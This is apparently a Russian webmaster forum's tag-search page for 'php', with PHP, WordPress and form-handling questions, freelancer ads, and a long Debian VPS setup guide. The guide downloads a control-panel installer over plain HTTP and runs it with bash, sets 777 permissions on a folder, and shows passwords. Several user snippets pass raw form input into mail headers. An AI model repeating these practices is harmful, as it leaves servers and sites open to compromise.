Поиск по сайту

Результаты поиска по тегам 'php'.

  • Поиск по тегам

    Введите теги через запятую.
  • Поиск по автору

Тип публикаций


Категории и разделы

  • Поисковые системы
    • Поисковая оптимизация
    • Яндекс
    • Google
    • Другие поисковики
    • SMO
    • Каталоги
    • Инструкции и уроки
  • Основные форумы
    • Новости
    • Контекстная реклама
    • Партнерские программы
    • Сервисы, программы и скрипты
    • Дизайн
    • Домены
    • Биржа сайтов
    • Сайтостроительство
    • Хостинг
    • Финансы
    • Разное
    • Конкурсы
  • Работа
    • Правила раздела
    • Дизайн
    • Копирайт/Рерайт
    • SEO
    • SMO/SMM
    • Программирование
    • Разное
  • Другое
    • О нас
    • Black List
    • White List
    • Оффтопик

Найдено 58 результатов

  1. Всем привет. Подскажите пожалуйста. Есть к прмиеру код <div id="lang_sel_click" class="lang_sel_click"> <ul> <li> <a href="?aelia_cs_currency=RUB" class="lang_sel_sel icl-en">RUB (₽)</a> <ul style="visibility: hidden;"> <li class="icl-fr"><a rel="alternate" href="?aelia_cs_currency=USD"><span class="icl_lang_sel_native">USD ($)</span></a></li> <li class="icl-de"><a rel="alternate" href="?aelia_cs_currency=EUR"><span class="icl_lang_sel_native">EUR (€)</span></a></li> <li class="icl-de"><a rel="alternate" href="?aelia_cs_currency=RUB"><span class="icl_lang_sel_native">RUB (₽)</span></a></li> <li class="icl-de"><a rel="alternate" href="?aelia_cs_currency=UAH"><span class="icl_lang_sel_native">UAH (₴)</span></a></li> </ul> </li> </ul> </div> Как сделать так что бы при выборе к примеру USD вверху фиксировался USD, а если RUB или другую то другая фиксировалась вверху. Очень нужна помощь
  2. Статья актуализирована 18.06.2015 В этой мини статье я опишу своими словами как быстро и не имея специальных знаний перейти с хостинга на VPS. Кому это пригодится: · тем, кому просто интересно · тем, кого достало анальное рабство постоянные ограничения со стороны хостера · тем, кто надумал перейти на VPS, но не хватает теоретических знаний В этом примере я рассмотрю следующие моменты: · установка панели управления сервером · обновление php до версии 5.5.* с родным кешированием · замена mysql на mariadb · небольшие твики конфигов сервера Что потребуется: · VPS c debian 7 и ssh доступом к нему · любой клиент ssh (putty для винды, в маке и линуксе уже есть терминал) · знание вашей cms (где лежат конфиги, как их править и т.п.) · умение пользоваться днс (настройка A записи) · базовые знания командной строки линукс · базовые знания английского языка · внимательность Приступим. В качестве примера я буду использовать VPS c 1 cpu 1000mhz, 512 ram и 20gb ssd. Операционная система – debian 7 x86 (32-bit). Если вы предполагаете, что ваши сайты потребуют больших ресурсов (скажем больше 2gb памяти), то выбираем debian 7 x64. Соединяемся по SSH с сервером от рута: login: root root@128.199.37.177's password: Linux prcy 3.2.0-4-686-pae #1 SMP Debian 3.2.54-2 i686 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. В первую очередь проверим обновления. Вводим по очереди это команды: apt-get update apt-get upgrade Приступаем к установке панели управления VestaCP. Vesta – легкая, бесплатная панель от русских разработчиков с удобным и понятным интерфейсом. Не жрет ресурсы как ISP или Cpanel, имеет отдельный независимый пакет php и nginx (будет работать даже если вы накосячите где-то в конфигах) и имеет хорошую поддержку. В первую очередь нужно удалить exim4, который идёт в комплекте с Debian 7. aptitude purge ~iexim4 apt-get purge exim4 exim4-base exim4-config exim4-daemon-light Если нет curl (который используется ниже), ставим его: apt-get install curl Ставим панель: curl -O http://vestacp.com/pub/vst-install.sh bash vst-install.sh Когда сервер спросит: Do you want to proceed? [y/n]): Пишем y и энтер. Указываем рабочий e-mail. Туда придёт пароль от панели. Указываем хостнейм. Я указываю тот, что написан в квадратных скобках. Do you want to proceed? [y/n]): y Please enter valid email address: mr.devilstar@gmail.com Please enter hostname [prcy]: prcy Ждем. Установка с хорошим каналом и ssd дисками занимает минуты полторы-две: ======================================================= ------------------------------- https://128.199.37.177:8083 username: admin password: GsdH73Gppe ------------------------------- Congratulations, you have successfully installed Vesta Control Panel. Сохраняем пароль, запоминаем адрес для входа в панель. Заходим по предложенному адресу, удостоверяемся что панель работает: Возвращаемся к ssh, смотрим какие версии php и mysql у нас установились: root@prcy:~# php -v PHP 5.4.34-0+deb7u1 (cli) (built: Oct 20 2014 09:46:02) Copyright (c) 1997-2014 The PHP Group Zend Engine v2.4.0, Copyright (c) 1998-2014 Zend Technologies root@prcy:~# mysql -v Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 62 Server version: 5.5.40-0+wheezy1 (Debian) php 5.4.34, а бд – mysql 5.5.40. Сейчас наша цель обновить php и заменить mysql на mariadb. Обновленный php позволит нам воспользоваться родным кешированием Zend OPcache, а mariadb жрет меньше памяти и работает быстрее (субъективно). Открываем файл /etc/apt/sources.list в консоли, добавляем новые источники приложений: nano /etc/apt/sources.list Откроется файл. В самом конце добавляем четыре строки deb http://packages.dotdeb.org wheezy all deb-src http://packages.dotdeb.org wheezy all deb http://packages.dotdeb.org wheezy-php55 all deb-src http://packages.dotdeb.org wheezy-php55 all Жмем CTRL+O и энтер. Закрываем файл по CTRL+X. Скачиваем ключи: wget http://www.dotdeb.org/dotdeb.gpg Устанавливаем ключи: apt-key add dotdeb.gpg Обновляем список доступных к установке приложений в соответствии с изменениями выше: apt-get update Запускаем обновление приложений: apt-get upgrade Во время обновления сервер спросит: *** my.cnf (Y/I/N/O/D/Z) [default=N] ? Отвечаем N Запускаем обновление самой системы: apt-get dist-upgrade Во время обновления может появиться это: Жмем q Проверяем какую версию php мы имеем теперь: root@prcy:~# php -v PHP 5.5.18-1~dotdeb.1 (cli) (built: Oct 22 2014 18:15:17) Copyright (c) 1997-2014 The PHP Group Zend Engine v2.5.0, Copyright (c) 1998-2014 Zend Technologies with Zend OPcache v7.0.4-dev, Copyright (c) 1999-2014, by Zend Technologies Видим 5.5.x и родной кеш Zend OPcache. Переходим к базам данных. Выполняем команды последовательно: apt-get install python-software-properties apt-key adv --recv-keys --keyserver hkp://keyserver.ubuntu.com:80 0xcbcb082a1bb943db и ЛИБО add-apt-repository 'deb http://mirror.mephi.ru/mariadb/repo/10.0/debian wheezy main' ЛИБО (т.к. первый иногда тормозит из-за большой нагрузки) add-apt-repository 'deb http://mirror.timeweb.ru/mariadb/repo/10.0/debian wheezy main' Обновляем список приложений: apt-get update И тут, по идее, мы должны начать установку базы данных apt-get install mariadb-server , но получаем ошибку: root@prcy:~# apt-get install mariadb-server Reading package lists... Done Building dependency tree Reading state information... Done Some packages could not be installed. This may mean that you have requested an impossible situation or if you are using the unstable distribution that some required packages have not yet been created or been moved out of Incoming. The following information may help to resolve the situation: The following packages have unmet dependencies: mariadb-server : Depends: mariadb-server-10.1 (= 10.1.1+maria-1~wheezy) but it is not going to be installed E: Unable to correct problems, you have held broken packages. Нам мешает mysql, который поставил веста. Варварским способом избавимся от него (иногда эту команду нужно ввести дважды): apt-get purge mysql* mariadb* И запускаем установку базы: apt-get install mariadb-server Смотрим что у нас получилось: root@prcy:~# service mysql status [info] /usr/bin/mysqladmin Ver 9.1 Distrib 10.1.1-MariaDB, for debian-linux-gnu on i686 Отлично! Открываем файл /usr/local/vesta/conf/mysql.conf и смотрим какой там у нас пароль на бд поставила веста: nano /usr/local/vesta/conf/mysql.conf Видим - PASSWORD='jbknjknkj34'. Запоминаем, может пригодиться при обновлениях. Теперь пофиксим exim4. Дело в том, что вместе с mariadb ставится exim4-light, в то время как нам нужен exim4-heavy. apt-get remove exim4-daemon-light Ставим phpmyadmin для работы с базами данных: apt-get install phpmyadmin Проверяем: http://128.199.37.177/phpmyadmin/ Работает J Из под рута ставим права 777 на папку /var/lib/phpmyadmin/tmp Тюним php.ini nano /etc/php5/apache2/php.ini Находим и меняем параметры на эти (или на какие вам захочется): max_execution_time = 180 upload_max_filesize = 64M post_max_size = 64M Сохраняем CTRL+O, энтер, CTRL+X Перезапускаем апач: service apache2 restart Тюним апач, что бы не иметь проблем с жором памяти: nano /etc/apache2/apache2.conf Находим там блок: <IfModule mpm_prefork_module> StartServers 8 MinSpareServers 5 MaxSpareServers 20 ServerLimit 256 MaxClients 200 MaxRequestsPerChild 4000 </IfModule> И приводим его к этому виду (эти параметры идеально подходят для vps с 512mb памяти. если памяти больше – можно и нужно ставить значения выше): <IfModule mpm_prefork_module> StartServers 3 MinSpareServers 3 MaxSpareServers 9 ServerLimit 256 MaxClients 20 MaxRequestsPerChild 3000 </IfModule> Сохраняем, перезапускаем апач: service apache2 restart С апачем закончили, тюним базу данных: nano /etc/mysql/my.cnf Находим и ставим следующие значения: max_connections = 50 connect_timeout = 5 wait_timeout = 30 max_allowed_packet = 16M thread_cache_size = 128 sort_buffer_size = 512K bulk_insert_buffer_size = 16M tmp_table_size = 16M max_heap_table_size = 16M myisam_recover = BACKUP key_buffer_size = 8M #open-files-limit = 2000 table_open_cache = 400 myisam_sort_buffer_size = 8M concurrent_insert = 2 read_buffer_size = 512K read_rnd_buffer_size = 512K innodb_buffer_pool_size = 8M innodb_log_buffer_size = 8M innodb_file_per_table = 1 innodb_open_files = 400 innodb_io_capacity = 400 innodb_flush_method = O_DIRECT Сохраняем, перезапускаем бд: service mysql restart Готово. Тюним конфиг nginx. Мой nginx.conf решает следующие проблемы - в соответствии с рекомендациями Google Insights кеширует статику в браузере и сжимает всё что нужно сжимать. nano /etc/nginx/nginx.conf Заменяем этим: # Server globals user www-data; worker_processes 2; error_log /var/log/nginx/error.log; pid /var/run/nginx.pid; # Worker config events { worker_connections 1024; use epoll; } http { # Main settings sendfile on; tcp_nopush on; tcp_nodelay on; client_header_timeout 1m; client_body_timeout 1m; client_header_buffer_size 2k; client_body_buffer_size 256k; client_max_body_size 100m; large_client_header_buffers 4 8k; send_timeout 30; keepalive_timeout 60 60; reset_timedout_connection on; server_tokens off; server_name_in_redirect off; server_names_hash_max_size 512; server_names_hash_bucket_size 512; # Log format log_format main '$remote_addr - $remote_user [$time_local] $request ' '"$status" $body_bytes_sent "$http_referer" ' '"$http_user_agent" "$http_x_forwarded_for"'; log_format bytes '$body_bytes_sent'; #access_log /var/log/nginx/access.log main; access_log off; # Mime settings include /etc/nginx/mime.types; default_type application/octet-stream; # Compression gzip on; gzip_comp_level 9; gzip_min_length 1000; gzip_buffers 8 64k; gzip_types text/plain text/css application/json application/x-javascript text/xml application/xml application/xml+rss text/javascript application/javascript image/svg+xml; gzip_proxied any; # Proxy settings proxy_redirect off; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_pass_header Set-Cookie; proxy_connect_timeout 90; proxy_send_timeout 90; proxy_read_timeout 90; proxy_buffers 32 4k; # Cloudflare https://www.cloudflare.com/ips set_real_ip_from 199.27.128.0/21; set_real_ip_from 173.245.48.0/20; set_real_ip_from 103.21.244.0/22; set_real_ip_from 103.22.200.0/22; set_real_ip_from 103.31.4.0/22; set_real_ip_from 141.101.64.0/18; set_real_ip_from 108.162.192.0/18; set_real_ip_from 190.93.240.0/20; set_real_ip_from 188.114.96.0/20; set_real_ip_from 197.234.240.0/22; set_real_ip_from 198.41.128.0/17; set_real_ip_from 162.158.0.0/15; set_real_ip_from 104.16.0.0/12; set_real_ip_from 172.64.0.0/13; #set_real_ip_from 2400:cb00::/32; #set_real_ip_from 2606:4700::/32; #set_real_ip_from 2803:f800::/32; #set_real_ip_from 2405:b500::/32; #set_real_ip_from 2405:8100::/32; real_ip_header CF-Connecting-IP; # SSL PCI Compliance ssl_session_cache shared:SSL:10m; ssl_protocols TLSv1 TLSv1.1 TLSv1.2; ssl_prefer_server_ciphers on; ssl_ciphers "ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES128-SHA256:ECDHE-RSA-AES256-SHA:ECDHE-RSA-AES128-SHA:DHE-RSA-AES256-SHA256:DHE-RSA-AES128-SHA256:DHE-RSA-AES256-SHA:DHE-RSA-AES128-SHA:ECDHE-RSA-DES-CBC3-SHA:EDH-RSA-DES-CBC3-SHA:AES256-GCM-SHA384:AES128-GCM-SHA256:AES256-SHA256:AES128-SHA256:AES256-SHA:AES128-SHA:DES-CBC3-SHA:HIGH:!aNULL:!eNULL:!EXPORT:!DES:!MD5:!PSK:!RC4"; # Error pages error_page 403 /error/403.html; error_page 404 /error/404.html; error_page 502 503 504 /error/50x.html; # Cache proxy_cache_path /var/cache/nginx levels=2 keys_zone=cache:10m inactive=60m max_size=512m; proxy_cache_key "$host$request_uri $cookie_user"; proxy_temp_path /var/cache/nginx/temp; proxy_ignore_headers Expires Cache-Control; proxy_cache_use_stale error timeout invalid_header http_502; proxy_cache_valid any 3d; map $http_cookie $no_cache { default 0; ~SESS 1; ~wordpress_logged_in 1; } # Wildcard include include /etc/nginx/conf.d/*.conf; server { location ~* ^.+\.(ogg|ogv|svg|svgz|eot|otf|woff|mp4|ttf|rss|atom|jpg|jpeg|gif|png|ico|zip|tgz|gz|rar|bz2|doc|xls|exe|ppt|tar|mid|midi|wav|bmp|rtf)$ { expires max; } } } Приступаем к добавлению домена. Предполагается, что у вас стоит хороший днс, позволяющий управлять зоной (а вы умеете это делать). Допустим, у нас есть домен test.prcy. В управлении доменной зоной нам нужно задать для A записи IP вашего сервера. Допустим у сервера IP 128.199.37.177. Наши записи должны принять следующий вид: Добавляем домен в панель управления сервером. https://128.199.37.177:8083/list/web/ (вкладка web), жмем «добавить домен» Выставляем параметры как указаны на скриншоте: http://habrastorage.org/files/157/53b/0ab/15753b0abbf44ba38e0ae158708458c8.png Почему я отключил поддержку почты? Потому что это лишняя и приличная нагрузка на сервер. В качестве почты для домена идеально подходит pdd.yandex.ru. Не поленитесь, настройте. Создаем базу данных: https://128.199.37.177:8083/list/db/ (вкладка DB), жмем «Добавить БД» http://habrastorage.org/files/802/e8b/9f9/802e8b9f9ee543cbbeb2d07158f45058.png Конектимся по фтп по данным, которые мы указывали когда добавляли домен. Наш сайт, который будет открываться по домену test.prcy, должен будет лежать в папке public_html Давайте удалим содержимое public_html и закачаем туда какой-нить тестовый архив (zip). Пока архив закачивается, возвращаемся к SSH и отключаемся: logout Логинимся в SSH по новой, но уже не от root пользователя, а от admin (это принципиально важно). Пароль тот же что и от панели vesta. Ставим утилиту, что бы распаковать наш архив. sudo apt-get install unzip Когда спросит пароль, вводим пароль от панели vesta. Переходим в директорию, куда закинули архив: cd web/test.prcy/public_html Распаковываем архив: unzip yoo_peak_demo_package_j33.zip Проверяем: http://habrastorage.org/files/292/bf6/7f3/292bf67f371c43fd93e18792ef205d09.png Заканчиваем установку сайта и видим, что всё работает: Сайт готов к использованию и выдержит приличную нагрузку (при конфигах, указанных выше, сайт держит нажатую F5 в течении 5 минут и спокойно открывается. Вот таким нехитрым способом мы поставили и запустили сервер, настроили его и добавили для примера один сайт. Не забываем, что вся работа с сайтами должна вестись от логина admin. А вся работа по настройке сервера от логина root. Иначе у вас возникнут проблемы с правами доступа и невозможностью записи файлов силами CMS. Гайд писался параллельно с настройкой vps, каждая команда проверена и работает. Именно этого гайда мне не хватало в свое время. Надеюсь кому-то это будет полезно. bugfix #1. Если после рестарта сервера не стартует nginx: из под рута открываем: nano /etc/sysctl.conf Вставляем в самый низ net.ipv4.ip_nonlocal_bind = 1 Выполняем команду sysctl -p /etc/sysctl.conf Перезагружаем сервер reboot
  3. Всем привет.Необходимо на определенные категории добавить в магазине кнопку Демоверсии после корзины.Есть такой код у меня. // Add demo preview button to single product page function isa_after_add_to_cart_button() { global $post; $demoslug = $post->post_name; $demourl = get_bloginfo('url').'/preview?theme='.$demoslug.''; $demotitle = esc_attr($post->post_title); echo '<a href="'.$demourl.'" title="'.$demotitle.'" class="sc-button demo-preview" rel="nofollow" target="_blank">Демо-сайт</a>'; } add_action('woocommerce_after_add_to_cart_button','isa_after_add_to_cart_button'); Но данный код добавляет кнопку на все товары.Ранее я делал дурацкий код для того что бы убрать (скрыть) кнопку с ненужных категорий и делал это так: // Hide shop items for services category function services_remove_woocommerce(){ global $product, $post; $target_category = 'services'; // Remove shop items from the Single Product page if ( is_product() ) { $terms = wp_get_post_terms( $post->ID, 'product_cat' ); foreach ( $terms as $term ) $categories***91;***93; = $term->slug; if ( in_array( $target_category, $categories ) ){ ?> <style type="text/css"> a.sc-button.demo-preview { display: none; } </style> <?php } } } add_action( 'wp_head', 'services_remove_woocommerce' ); Подскажите пожалуйста как просто установить кнопку на некотоыре категории. Кнопку нужно по сути добавить на товар из осного раздела и на его подкатегории.
  4. Всем доброго времени суток. Меня зовут Руслан и я хочу предоставить Вам свои услуги по веб-разработке. Имеется опыт работы в разработке веб сайтов на популярных языках программирования и фреймворков, а так же работа с базами данных, и с популярными CMS WordPress и DLE . Услуги: Разработка фирменного стиля Макет сайта Логотип Баннеры Верстка сайтов на HTML5, CSS3, JS, Bootstrap и MDL (Material Design Lite) Программирование на JavaScript, Angular js, PHP с расширением PDO, Codeigniter по паттерну MVC, ООР. Работа с базами данных, проектирование, защита от SQL-инъекций и т.д. Оптимизация кода, ускорение загрузки страниц. После завершения работы, Вы получаете полную поддержку сайта. Цены: Разработка фирменного стиля - от 350$. Макет сайта - от 200$. Логотип - от 20$. Баннер - от 10$. Верстка по Вашему исходнику(psd) - от 30$. Верстка под CMS Wordpress - от 180$. Верстка под CMS DLE - от 150$. Верстка под мобильные девайсы с применением jQuery Mobile - от 180$. Написание плагинов под CMS Wordpress - от 150$. Программирование на JS, PHP, Codeigniter, Angular будет обсуждаться отдельно, в зависимости от поставленной задачи. Сайт под ключ - от 450$. Ссылка на портфолио: https://www.behance.net/sipsappo Важно: Перед заказом, составьте тех. задание в нем укажите все что Вы желаете видеть на своем будущем сайте, если это верстка по Вашему макету или Вы купили макет, в папке обязательно должны присутствовать картинки (логотип, фон и т.д.) и шрифты используемые дизайнером при разработке макета. Так же не забывайте указывать тип верстки (адаптивная, резиновая, фиксированная), этим Вы облегчите нагрузку на мой мозг и сроки выполнения будут гораздо быстрей. Оплата: Предоплата 30% от стоимости заказа, остальная часть после полного завершения работы. WebMoney ПриватБанк (Украина) Сроки выполнения работ: Все зависит от поставленной задачи и обговариваются индивидуально. В работу беру только один проект. Скидки: Так как мое портфолио в стадии наполнения, присутствует традиционная система скидок. Первому - 40% от стоимости заказа Второму - 30% от стоимости заказа Третьему - 20% от стоимости заказа Контакты: skype: WebDesg email: wdesg@mail.ua Личные сообщения WMID: https://passport.webmoney.ru/asp/certview.asp?wmid=108663572268 Уважаемые пользователи, все цены указаны для ознакомления не бойтесь писать и спрашивать, если у Вас съехала картинка на сайте это может стоить слова - "Спасибо" и все. В любом случае обращайтесь по контактам, я всегда отвечу и помогу.
  5. Есть код который выводит список в строчку через запятую: значение1, значение2, значение 3.... $fieldValue = (array) $fieldValue; $texts = array(); $options = $this->getOptionsFromField($field); foreach ($options as $value => $name) { if (in_array((string) $value, $fieldValue)) { $texts[] = JText::_($name); } } echo htmlentities(implode(', ', $texts)); Знатоки php, помогите! Как сделать как сделать чтоб это список выводился с помощью ul li ? Заранее спасибо!
  6. Здравствуйте. 1. Пишу на php разного рода скрипты с нуля или на основе фреймворка Laravel. 2. Верстаю макеты как статические так и адаптивные. Готов взяться за небольшой заказ. Связь E-mail: kolian19971@ukr.net или лс WMID: https://passport.webmoney.ru/asp/CertView.asp?wmid=453677979125
  7. <?= $form->field($order,'items')->dropDownList([ 0 => 'Значение1', 1 => 'Значение2', 2 => 'Значение3', 3 => 'Значение4', 4 => 'Значение5', 5 => 'Значение6', 6 => 'Значение7', ]) ?> Подскажите плз.. сейчас в базе после отправки формы сохраняется например "0", а нужно "Значение1". Что поправить нужно?
  8. Привет всем! Нужно переместить 11 страниц с одного сайта на другой и сделать редирект. Как это сделать в принципе понятно, но есть вопрос, нужно ли после редиректа удалять урлы старого сайта из Вебмастера Яндекса и Гугла? И если нужно то когда их надо удалять? Ведь если я их сразу удалю, то и редирект окажется бессмысленным. И когда на новом сайте добавлять эти же урлы в Вебмастер Яндекса и Гугла? Если я их сразу добавлю, не расценится ли это как копипаст? Может кто объяснить подробней?
  9. Здравствуйте,посоветуйте пожалуйста какой нить материал для изучения Php. Материала в интернете много,но не знаю за что браться,посоветуйте кто нить пожалуйста.(книги,видео уроки). И что нибудь для MySQL‚ JavaScript. Всем спасибо,кто поможет.
  10. Доброго дня, товарищи. Есть форма на php, там есть строки: $from = "=?UTF-8?b?" . base64_encode($validator->postdata('user_name')) . "?="; это для отправки на мыло данных с онлайн-заявки, вот эта строка ставит в поле "от" забитое в форме имя, а как сделать статическое значение, т.е. прописать просто типа "robot" или "заявка с сайта такого-то" вместо того, чтобы он брал и ставил данные из формы? и то же самое со строкой $header .= "From: ". $from . " <" . $validator->postdata('user_email'). ">"; поставить свой мэйл, а не чтобы ставил мэйл из формы Буду признателен за помощь
  11. Я не силён в PHP, но часто слышу, что, данный язык скоро изживет себя. Программеры часто говорят, что в ближайшие пару тройку лет, он будет не актуален. Все перейдут на более производительные языки. ТКак будет с популярными cms-ками, вордпресс, джумла и другие. Может специалисты преувеличивают?
  12. Здравствуйте. У меня в логах есть такая строчка: [sun Nov 06 03:29:54.538109 2016] [:error] [pid 473835:tid 140388287182592] mod_hostinglimits:Error on LVE enter: LVE(884) HANDLER(application/x-httpd-lsphp) HOSTNAME(домен) URL(/wp-content/themes/.../fale.php) TID(473908) errno (7) Read more: http://e.cloudlinux.com/MHL-E2BIGmin_uid (500) Вот в этом файле прописаны лимиты, но сам по себе файл отвечает за картинки, я как поняла там нужно зарегаться в сервисе картинок. Плюс проверяла плагином тему на наличие вредоносного кода, плагин показывает все нормально, ничего нет, но в файле есть код похожий на вредоносный. Вот этот лимит якобы ссылается на 508 страницу. Ошибки в логах есть. По идеи в это время на сайте должна выводиться 508 ошибка. Но сайт работает. Когда посетителей было много сайт помер и показал 508. Может кто-то может глянуть. Пожалуйста. Тема нравиться. Не хотелось бы менять.
  13. Нужен разработчик кто быстро интегрирует (подключит) на сайт (wordpress) метод платежа. И требуется небольшая доработка, при формировании инвойса, некоторые данные не заносятся, нужно их добавить!
  14. Подскажите рабочее решение на PHP , которое позволит запускать сайт только в браузере IE! Для всех остальных браузеров нужно выводить определенное сообщение. Заранее благодарен за любую помощь.
  15. Приветствую помогите разобраться Отправка со страницы письма реализована так <? if (isset ($_POST['messageFF'])) { mail ("email@gmail.com", "заполнена контактная форма с ".$_SERVER['HTTP_REFERER'], "Имя: ".$_POST['nameFF']."\nEmail: ".$_POST['contactFF']."\nСообщение: ".$_POST['messageFF']."\nВыберите: ".$_POST['spisok']); echo ('<p style="color: green">Ваше сообщение получено, спасибо!</p>'); } ?> <form method="POST" id="feedback-form"> Как к Вам обращаться: <input type="text" name="nameFF" required placeholder="фамилия имя отчество" x-autocompletetype="name"> Email для связи: <input type="email" name="contactFF" required placeholder="адрес электронной почты" x-autocompletetype="email"> Ваше сообщение: <textarea name="messageFF" required rows="5"></textarea> <select name="spisok" required rows="5"><option>Выберите</option> <option>Option</option> <option>Textarea</option> <option>Label</option> <option>Fieldset</option>< <option>Legend</option></select> <input type="submit" value="отправить"> </form> Сообщение отправляется. Если удаляю не нужные мне поля <? if (isset ($_POST['messageFF'])) { mail ("email@gmail.com", "заполнена контактная форма с ".$_SERVER['HTTP_REFERER'], "\nВыберите: ".$_POST['spisok']); echo ('<p style="color: green">Ваше сообщение получено, спасибо!</p>'); } ?> <form method="POST" id="feedback-form"> <select name="spisok" required rows="5"><option>Выберите</option> <option>Option</option> <option>Textarea</option> <option>Label</option> <option>Fieldset</option>< <option>Legend</option></select> <input type="submit" value="отправить"> </form> Тогда не отправляется, а ведь должно или нет?
  16. Здравствуйте! Есть форма обратной связи, есть кто может "починить"? <form id="form4"> <div class="success_wrapper" ><div class="success" style="display: none;" >Мы с Вами свяжемся в ближайшее время!<br /><strong> </strong> </div></div> <fieldset style="border:none;"> <label class="name"> <input type="name" value="Введите имя" /> <span class="error error-empty">*</span><span class="empty error-empty">*</span> </label> <label class="city"> <input type="city" value="Город" /> <span class="error error-empty">*</span><span class="empty error-empty">*</span> </label> <label class="phone"> <input type="phone" value="Введите телефон" id="phone9"/> <span class="error error-empty">*</span><span class="empty error-empty">*</span> </label> <a href="index.html" data-type="submit" data-type="reset" >оставить заявку</a> </fieldset> </form> //forms ;(function($){ $.fn.forms=function(o){ return this.each(function(){ var th=$(this) ,_=th.data('forms')||{ errorCl:'error', emptyCl:'empty', invalidCl:'invalid', notRequiredCl:'notRequired', successCl:'success', successShow:'4000', mailHandlerURL:'bat/MailHandler.php', ownerEmail:'support@lite.uz', product:'Заказ', stripHTML:true, smtpMailServer:'localhost', targets:'input,textarea', controls:'a[data-type=reset],a[data-type=submit]', validate:true, rx:{ ".phone":{rx:/^\+?(\d[\d\-\+\(\) ]{5,}\d$)/,target:'input'}, }, preFu:function(){ _.labels.each(function(){ var label=$(this), inp=$(_.targets,this), defVal=inp.val(), trueVal=(function(){ var tmp=inp.is('input')?(tmp=label.html().match(/value=['"](.+?)['"].+/),!!tmp&&!!tmp[1]&&tmp[1]):inp.html() return defVal==''?defVal:tmp })() trueVal!=defVal &&inp.val(defVal=trueVal||defVal) label.data({defVal:defVal}) inp .bind('focus',function(){ inp.val()==defVal &&(inp.val(''),_.hideEmptyFu(label),label.removeClass(_.invalidCl)) }) .bind('blur',function(){ _.validateFu(label) if(_.isEmpty(label)) inp.val(defVal) ,_.hideErrorFu(label.removeClass(_.invalidCl)) }) .bind('keyup',function(){ label.hasClass(_.invalidCl) &&_.validateFu(label) }) label.find('.'+_.errorCl+',.'+_.emptyCl).css({display:'block'}).hide() }) _.success=$('.'+_.successCl,_.form).hide() }, isRequired:function(el){ return !el.hasClass(_.notRequiredCl) }, isValid:function(el){ var ret=true $.each(_.rx,function(k,d){ if(el.is(k)) ret=d.rx.test(el.find(d.target).val()) }) return ret }, isEmpty:function(el){ var tmp return (tmp=el.find(_.targets).val())==''||tmp==el.data('defVal') }, validateFu:function(el){ el.each(function(){ var th=$(this) ,req=_.isRequired(th) ,empty=_.isEmpty(th) ,valid=_.isValid(th) if(empty&&req) _.showEmptyFu(th.addClass(_.invalidCl)) else _.hideEmptyFu(th.removeClass(_.invalidCl)) if(!empty) if(valid) _.hideErrorFu(th.removeClass(_.invalidCl)) else _.showErrorFu(th.addClass(_.invalidCl)) }) }, getValFromLabel:function(label){ var val=$('input,textarea',label).val() ,defVal=label.data('defVal') return label.length?val==defVal?'nope':val:'nope' } ,submitFu:function(){ _.validateFu(_.labels) if(!_.form.has('.'+_.invalidCl).length) $.ajax({ type: "POST", url:_.mailHandlerURL, data:{ name:_.getValFromLabel($('.name',_.form)), phone:_.getValFromLabel($('.phone',_.form)), city:_.getValFromLabel($('.city',_.form)), pro_duct:_.product, owner_email:_.ownerEmail, stripHTML:_.stripHTML }, success: function(){ _.showFu() } }) }, showFu:function(){ _.success.slideDown(function(){ setTimeout(function(){ _.success.slideUp() _.form.trigger('reset') },_.successShow) }) }, controlsFu:function(){ $(_.controls,_.form).each(function(){ var th=$(this) th .bind('click',function(){ _.form.trigger(th.data('type')) return false }) }) }, showErrorFu:function(label){ label.find('.'+_.errorCl).slideDown() }, hideErrorFu:function(label){ label.find('.'+_.errorCl).slideUp() }, showEmptyFu:function(label){ label.find('.'+_.emptyCl).slideDown() _.hideErrorFu(label) }, hideEmptyFu:function(label){ label.find('.'+_.emptyCl).slideUp() }, init:function(){ _.form=_.me _.labels=$('label',_.form) _.preFu() _.controlsFu() _.form .bind('submit',function(){ if(_.validate) _.submitFu() else _.form[0].submit() return false }) .bind('reset',function(){ _.labels.removeClass(_.invalidCl) _.labels.each(function(){ var th=$(this) _.hideErrorFu(th) _.hideEmptyFu(th) }) }) _.form.trigger('reset') } } _.me||_.init(_.me=th.data({forms:_})) typeof o=='object' &&$.extend(_,o) }) } })(jQuery) $(window).load(function(){ $('#form').forms({ ownerEmail:'admin@lite.uz', product:'Заказ обратного звонка' }) }) $(window).load(function(){ $('#form1').forms({ ownerEmail:'admin@lite.uz', product:'Оставьте заявкуна БЕСПЛАТНУЮ консультациюи получите СКИДКУ до 30% + ПОДАРОК!' }) }) $(window).load(function(){ $('#form2').forms({ ownerEmail:'admin@lite.uz', product:'Оставьте заявку на бесплатную консультацию прямо сейчас и получите СКИДКУ до 30% на наши услуги + ПОДАРОК!' }) }) $(window).load(function(){ $('#form3').forms({ ownerEmail:'admin@lite.uz', product:'АКЦИЯ!' }) }) $(window).load(function(){ $('#form4').forms({ ownerEmail:'admin@lite.uz', product:'Оставьте заявку на БЕСПЛАТНУЮ консультацию и получите СКИДКУ до 30% + ПОДАРОК!' }) }) $(window).load(function(){ $('#form5').forms({ ownerEmail:'admin@lite.uz', product:'Снять квартиру на длительный срок' }) }) $(window).load(function(){ $('#form6').forms({ ownerEmail:'admin@lite.uz', product:'Снять квартиру посуточно' }) }) $(window).load(function(){ $('#form7').forms({ ownerEmail:'admin@lite.uz', product:'Снять коттедж' }) }) $(window).load(function(){ $('#form8').forms({ ownerEmail:'admin@lite.uz', product:'Заказать услугу' }) }) $(window).load(function(){ $('#form9').forms({ ownerEmail:'admin@lite.uz', product:'Заполните заявку и получите консультацию специалиста' }) }) <?php if((isset($_POST['name'])&&$_POST['name']!="")&&(isset($_POST['phone'])&&$_POST['phone']!="")){ //Проверка отправилось ли наше поля name и не пустые ли они $to = 'info@lite.uz'; //Почта получателя, через запятую можно указать сколько угодно адресов $subject = '$pro_duct'; //Загаловок сообщения $message = ' <html> <head> <title>'Заявка с сайта'</title> </head> <body> <p>Имя: '.$_POST['name'].'</p> <p>Телефон: 